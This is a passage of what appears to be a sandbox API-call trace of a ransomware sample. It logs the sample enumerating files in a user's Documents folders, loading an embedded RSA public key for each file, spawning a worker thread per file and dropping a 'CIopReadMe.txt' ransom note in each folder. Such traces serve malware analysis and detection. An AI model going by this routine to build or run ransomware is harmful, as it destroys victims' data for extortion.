lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0092.904] SetErrorMode (uMode=0x1) returned 0x1 [0092.904] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0092.904] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0092.904] CloseHandle (hObject=0x480) returned 1 [0092.904] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.904] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0092.904] lstrcmpW (lpString1="tpkoPGhxV.xls", lpString2="..") returned 1 [0092.904] lstrcmpW (lpString1="tpkoPGhxV.xls", lpString2=".") returned 1 [0092.904] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0092.904] Sleep (dwMilliseconds=0xd) [0092.936] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.936] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="tpkoPGhxV.xls" | out: lpString1="tpkoPGhxV.xls") returned="tpkoPGhxV.xls" [0092.936] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474 [0092.936] WaitForSingleObject (hHandle=0x474, dwMilliseconds=0xffffffff) returned 0x0 [0093.002] SetErrorMode (uMode=0x1) returned 0x1 [0093.002] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0093.002] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0093.002] CloseHandle (hObject=0x484) returned 1 [0093.002] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.002] lstrcmpW (lpString1="vv1t.doc", lpString2="..") returned 1 [0093.002] lstrcmpW (lpString1="vv1t.doc", lpString2=".") returned 1 [0093.002] wsprintfW (in: param_1=0x2dc4590, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned 75 [0093.002] Sleep (dwMilliseconds=0xd) [0093.028] lstrcpyA (in: lpString1=0x2dc39d8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.028] lstrcpyW (in: lpString1=0x2dc3f36, lpString2="vv1t.doc" | out: lpString1="vv1t.doc") returned="vv1t.doc" [0093.028] lstrcpyW (in: lpString1=0x2dc3b36, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0093.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc39d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484 [0093.029] WaitForSingleObject (hHandle=0x484, dwMilliseconds=0xffffffff) returned 0x0 [0093.067] SetErrorMode (uMode=0x1) returned 0x1 [0093.067] wsprintfW (in: param_1=0x2dc359c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt") returned 85 [0093.067] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0093.067] CloseHandle (hObject=0x480) returned 1 [0093.067] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0093.067] FindClose (in: hFindFile=0x5c39d0 | out: hFindFile=0x5c39d0) returned 1 [0093.067] FindClose (in: hFindFile=0x5c39d0 | out: hFindFile=0x5c39d0) returned 0 [0093.068] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0093.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0093.068] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x5c39d0 [0093.068] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0093.068] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0093.068] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0093.068] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] FindNextFileW (in: hFindFile=0x5c39d0, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0093.068] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2="..") returned 1 [0093.068] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2=".") returned 1 [0093.068] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0093.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0093.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0093.068] SetErrorMode (uMode=0x1) returned 0x1 [0093.068] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0093.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0093.068] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0093.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0093.068] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x5c3310 [0093.068] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0093.068] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0093.069] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0093.069] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0093.069] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps", lpString2="..") returned 1 [0093.069] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps", lpString2=".") returned 1 [0093.069] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned 96 [0093.069] Sleep (dwMilliseconds=0xd) [0093.091] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.091] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="iclup5FUSoIoGUEpJ 8n.pps" | out: lpString1="iclup5FUSoIoGUEpJ 8n.pps") returned="iclup5FUSoIoGUEpJ 8n.pps" [0093.091] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0093.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488 [0093.091] SetErrorMode (uMode=0x1) returned 0x1 [0093.091] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\CIopReadMe.txt") returned 106 [0093.091] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.092] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0093.092] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0093.092] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0093.092] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0093.092] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0093.092] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0093.092] WriteFile (in: hFile=0x47c, lpBuffer=0x62c5e8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc195c, lpOverlapped=0x0 | out: lpBuffer=0x62c5e8*, lpNumberOfBytesWritten=0x2dc195c*=0x759, lpOverlapped=0x0) returned 1 [0093.093] CloseHandle (hObject=0x47c) returned 1 [0093.093] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0093.093] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc", lpString2="..") returned 1 [0093.093] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc", lpString2=".") returned 1 [0093.093] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned 96 [0093.093] Sleep (dwMilliseconds=0xd) [0093.159] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.159] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="k4LJ2WYGO9QfwUDPoT.doc" | out: lpString1="k4LJ2WYGO9QfwUDPoT.doc") returned="k4LJ2WYGO9QfwUDPoT.doc" [0093.159] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0093.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c [0093.160] SetErrorMode (uMode=0x1) returned 0x1 [0093.160] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\CIopReadMe.txt") returned 106 [0093.160] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490 [0093.160] CloseHandle (hObject=0x490) returned 1 [0093.160] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0093.160] lstrcmpW (lpString1="Qq3R.ots", lpString2="..") returned 1 [0093.160] lstrcmpW (lpString1="Qq3R.ots", lpString2=".") returned 1 [0093.160] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned 96 [0093.160] Sleep (dwMilliseconds=0xd) [0093.184] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 